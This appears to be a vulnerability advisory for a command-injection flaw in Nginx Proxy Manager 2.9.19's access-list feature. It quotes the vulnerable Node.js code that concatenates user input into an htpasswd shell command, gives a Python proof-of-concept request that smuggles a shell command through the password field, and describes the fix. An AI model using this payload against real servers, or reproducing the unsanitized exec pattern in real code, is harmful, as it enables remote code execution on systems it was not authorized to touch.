[ Info ]
- Target : Nginx Proxy Manager
- Version : 2.9.19
- Category : Arbitrary Code Execution
[ Build ]
docker run -p 8080:80 -p 8081:81 jc21/nginx-proxy-manager:2.9.19
[ Product Overview ]
Nginx Proxy Manager which is based on NodeJS, is a open-source tool to simplify the management of Nginx's proxy, SSL, Access lists, and more. It lets user manage, control their site easier. For example, it provide the feature of controlling ACL with admin console, so user can easily create blacklist or whitelist by using UI.
[ Vulnerable Summary ]
Aribitrary Code Execution via Access list feature in Nginx Proxy Manager <= 2.9.19
[ Vulnerability Details ]
The vulnerability is in backend/internal/access-list.js
which manages Access List.
A user can define IPs to allow or deny, and define about authorization.
// backend/lib/utils.js
const exec = require('child_process').exec;
module.exports = {
/**
* @param {String} cmd
* @returns {Promise}
*/
exec: function (cmd) {
return new Promise((resolve, reject) => {
exec(cmd, function (err, stdout, /*stderr*/) {
if (err && typeof err === 'object') {
reject(err);
} else {
resolve(stdout.trim());
}
});
});
}
};
Nginx Proxy Manager defines a module that uses child_process
in the backend/lib/utils.js
. The problem is that the cmd parameter lacks any sanitization. And this module is used in backend/internal/access-list.js
.
// backend/internal/access-list.js
const utils = require('../lib/utils');
...
/**
* @param {Object} list
* @param {Integer} list.id
* @param {String} list.name
* @param {Array} list.items
* @returns {Promise}
*/
build: (list) => {
logger.info('Building Access file #' + list.id + ' for: ' + list.name);
return new Promise((resolve, reject) => {
let htpasswd_file = internalAccessList.getFilename(list);
// 1. remove any existing access file
try {
fs.unlinkSync(htpasswd_file);
} catch (err) {
// do nothing
}
// 2. create empty access file
try {
fs.writeFileSync(htpasswd_file, '', {encoding: 'utf8'});
resolve(htpasswd_file);
} catch (err) {
reject(err);
}
})
.then((htpasswd_file) => {
// 3. generate password for each user
if (list.items.length) {
return new Promise((resolve, reject) => {
batchflow(list.items).sequential()
.each((i, item, next) => {
if (typeof item.password !== 'undefined' && item.password.length) {
logger.info('Adding: ' + item.username);
// ⬇ Vulnerable Code
utils.exec('/usr/bin/htpasswd -b "' + htpasswd_file + '" "' + item.username + '" "' + item.password + '"')
.then((/*result*/) => {
next();
})
.catch((err) => {
logger.error(err);
next(err);
});
}
})
.error((err) => {
logger.error(err);
reject(err);
})
.end((results) => {
logger.success('Built Access file #' + list.id + ' for: ' + list.name);
resolve(results);
});
});
}
});
}
};
The build: (list)
function calls utils.exec()
when Nginx Proxy Manager creates or updates Access List. If attacker abuse this feature, command injection can allow arbitrary code execution, going against the original purpose of the code.
[ Exploit Conditions ]
The vulnerability can be exploited by an authenticated attacker who has permissions of making Access List.
[ Proof-of-Concept ]
import requests
#payload = input("Enter the payload: ")
payload = '"; id > /tmp/pwned.txt; echo "'
url = "http://localhost:12001/api/nginx/access-lists"
header = {"Authorization": "[Admin Token]"} # Modify Here
data = {"name":"Test","satisfy_any":False,"pass_auth":False,"items":[{"username":"Test_username","password":f"Test_password{payload}"}],"clients":[{"address":"1.2.3.4","directive":"allow"}]}
res = requests.post(url, headers=header, json=data)
print(res.status_code)
[ Mitigation ]
The code was modified to ensure that user input is passed as an array instead of being directly executed as part of the command. This change makes malicious commands get interpreted as regular strings. In practice, if a malicious command is injected, a 403 error is returned.